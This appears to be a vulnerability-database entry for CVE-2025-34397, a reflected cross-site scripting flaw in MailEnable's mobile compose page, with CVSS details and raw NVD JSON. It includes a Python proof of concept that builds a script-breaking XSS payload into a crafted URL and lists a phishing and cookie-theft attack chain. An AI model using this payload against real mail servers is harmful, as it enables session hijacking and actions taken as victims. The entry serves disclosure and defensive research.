Security Vulnerability Report
中文
CVE-2025-34397 CVSS 6.1 MEDIUM

CVE-2025-34397

Published: 2025-12-09 18:15:50
Last Modified: 2025-12-09 21:38:50

Description

MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Message parameter of /Mobile/Compose.aspx. The Message value is not properly sanitized when processed via a GET request and is reflected into a JavaScript context in the response. By supplying a crafted payload that terminates the existing script block/function, injects attacker-controlled JavaScript, and comments out the remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim opens the crafted reply URL. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE
MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse # CVE-2025-34397 PoC - MailEnable Reflected XSS in /Mobile/Compose.aspx # Target: MailEnable < 10.54 # Attack Type: Reflected XSS via Message parameter def generate_xss_payload(): """ Generate XSS payload that terminates existing script block, injects attacker-controlled JavaScript, and comments out remaining code. """ # Payload: </script><script>alert(document.domain)// # This payload: # 1. Closes the existing </script> tag # 2. Opens a new <script> tag with malicious code # 3. Executes alert to demonstrate XSS # 4. Comments out remaining code with // payload = '</script><script>alert(document.domain)//' return payload def generate_malicious_url(base_url, payload): """ Generate full malicious URL with XSS payload in Message parameter. Args: base_url: Target MailEnable server URL payload: XSS payload to inject Returns: Malicious URL string """ encoded_payload = urllib.parse.quote(payload) malicious_url = f"{base_url}/Mobile/Compose.aspx?Message={encoded_payload}" return malicious_url def simulate_attack(): """ Simulate the attack chain for demonstration purposes. """ target = "http://vulnerable-mailenable-server.com" payload = generate_xss_payload() malicious_url = generate_malicious_url(target, payload) print("=" * 60) print("CVE-2025-34397 - MailEnable Reflected XSS PoC") print("=" * 60) print(f"\nTarget: {target}") print(f"Vulnerable Endpoint: /Mobile/Compose.aspx") print(f"Vulnerable Parameter: Message") print(f"\nMalicious URL:") print(f"{malicious_url}") print(f"\nDecoded Payload: {payload}") print("\nAttack Steps:") print("1. Attacker crafts malicious URL with XSS payload") print("2. Attacker sends phishing email with malicious link") print("3. Victim clicks link while authenticated to MailEnable") print("4. Browser executes injected JavaScript in victim's context") print("5. Attacker steals cookies/sessions or performs actions as victim") print("\nImpact:") print("- Session hijacking") print("- Cookie theft (non-HttpOnly)") print("- Phishing/malware distribution") print("- Unauthorized actions as authenticated user") print("=" * 60) if __name__ == "__main__": simulate_attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34397", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:49.923", "lastModified": "2025-12-09T21:38:49.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the Message parameter of /Mobile/Compose.aspx. The Message value is not properly sanitized when processed via a GET request and is reflected into a JavaScript context in the response. By supplying a crafted payload that terminates the existing script block/function, injects attacker-controlled JavaScript, and comments out the remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim opens the crafted reply URL. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-message-parameter-of-mobile-compose-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}